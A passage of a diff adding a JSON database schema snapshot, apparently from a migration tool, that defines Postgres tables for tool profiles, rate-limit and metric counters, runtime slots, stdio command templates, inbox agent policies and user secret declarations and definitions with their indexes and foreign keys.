+          "name": "tool_profiles_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_key_uq": {
+          "name": "tool_profiles_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_name_uq": {
+          "name": "tool_profiles_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profiles_company_id_companies_id_fk": {
+          "name": "tool_profiles_company_id_companies_id_fk",
+          "tableFrom": "tool_profiles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_rate_limit_counters": {
+      "name": "tool_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "remaining": {
+          "name": "remaining",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_rate_limit_counters_company_idx": {
+          "name": "tool_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_rate_limit_counters_window_uq": {
+          "name": "tool_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_rate_limit_counters_policy_id_tool_policies_id_fk": {
+          "name": "tool_rate_limit_counters_policy_id_tool_policies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "tool_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_metric_counters": {
+      "name": "tool_runtime_metric_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bucket_start_at": {
+          "name": "bucket_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_metric_counters_company_metric_idx": {
+          "name": "tool_runtime_metric_counters_company_metric_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_metric_counters_bucket_uq": {
+          "name": "tool_runtime_metric_counters_bucket_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_metric_counters_company_id_companies_id_fk": {
+          "name": "tool_runtime_metric_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_metric_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_slots": {
+      "name": "tool_runtime_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_scope_type": {
+          "name": "owner_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'connection'"
+        },
+        "owner_scope_id": {
+          "name": "owner_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_kind": {
+          "name": "runtime_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_stdio'"
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'stopped'"
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "workspace_scope": {
+          "name": "workspace_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_hash": {
+          "name": "credential_scope_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_id": {
+          "name": "process_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command_template_key": {
+          "name": "command_template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_check_at": {
+          "name": "last_health_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_started_at": {
+          "name": "last_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_expires_at": {
+          "name": "idle_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_deadline_at": {
+          "name": "idle_deadline_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_slots_company_idx": {
+          "name": "tool_runtime_slots_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_connection_idx": {
+          "name": "tool_runtime_slots_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_execution_workspace_idx": {
+          "name": "tool_runtime_slots_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_slot_key_uq": {
+          "name": "tool_runtime_slots_slot_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slot_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_slots_company_id_companies_id_fk": {
+          "name": "tool_runtime_slots_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_application_id_tool_applications_id_fk": {
+          "name": "tool_runtime_slots_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_connection_id_tool_connections_id_fk": {
+          "name": "tool_runtime_slots_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk": {
+          "name": "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_issue_id_issues_id_fk": {
+          "name": "tool_runtime_slots_issue_id_issues_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_stdio_command_templates": {
+      "name": "tool_stdio_command_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_key": {
+          "name": "template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "args": {
+          "name": "args",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env_keys": {
+          "name": "env_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "tools": {
+          "name": "tools",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_stdio_command_templates_company_idx": {
+          "name": "tool_stdio_command_templates_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_status_idx": {
+          "name": "tool_stdio_command_templates_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_key_uq": {
+          "name": "tool_stdio_command_templates_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "template_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_stdio_command_templates_company_id_companies_id_fk": {
+          "name": "tool_stdio_command_templates_company_id_companies_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_stdio_command_templates_created_by_agent_id_agents_id_fk": {
+          "name": "tool_stdio_command_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_inbox_agent_policies": {
+      "name": "user_inbox_agent_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "allowed_agent_ids": {
+          "name": "allowed_agent_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_inbox_agent_policies_company_user_uq": {
+          "name": "user_inbox_agent_policies_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_inbox_agent_policies_allowed_agent_ids_idx": {
+          "name": "user_inbox_agent_policies_allowed_agent_ids_idx",
+          "columns": [
+            {
+              "expression": "allowed_agent_ids",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_inbox_agent_policies_company_id_companies_id_fk": {
+          "name": "user_inbox_agent_policies_company_id_companies_id_fk",
+          "tableFrom": "user_inbox_agent_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "user_inbox_agent_policies_mode_check": {
+          "name": "user_inbox_agent_policies_mode_check",
+          "value": "\"user_inbox_agent_policies\".\"mode\" in ('open', 'allowlist', 'disabled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.user_secret_declarations": {
+      "name": "user_secret_declarations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "env_key": {
+          "name": "env_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "allow_missing_override": {
+          "name": "allow_missing_override",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_declarations_company_idx": {
+          "name": "user_secret_declarations_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_definition_idx": {
+          "name": "user_secret_declarations_definition_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_idx": {
+          "name": "user_secret_declarations_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_company_required_idx": {
+          "name": "user_secret_declarations_company_required_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "required",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_path_uq": {
+          "name": "user_secret_declarations_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_required_override_idx": {
+          "name": "user_secret_declarations_required_override_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "allow_missing_override",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"user_secret_declarations\".\"allow_missing_override\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_declarations_company_id_companies_id_fk": {
+          "name": "user_secret_declarations_company_id_companies_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_secret_definitions": {
+      "name": "user_secret_definitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_guidance": {
+          "name": "usage_guidance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
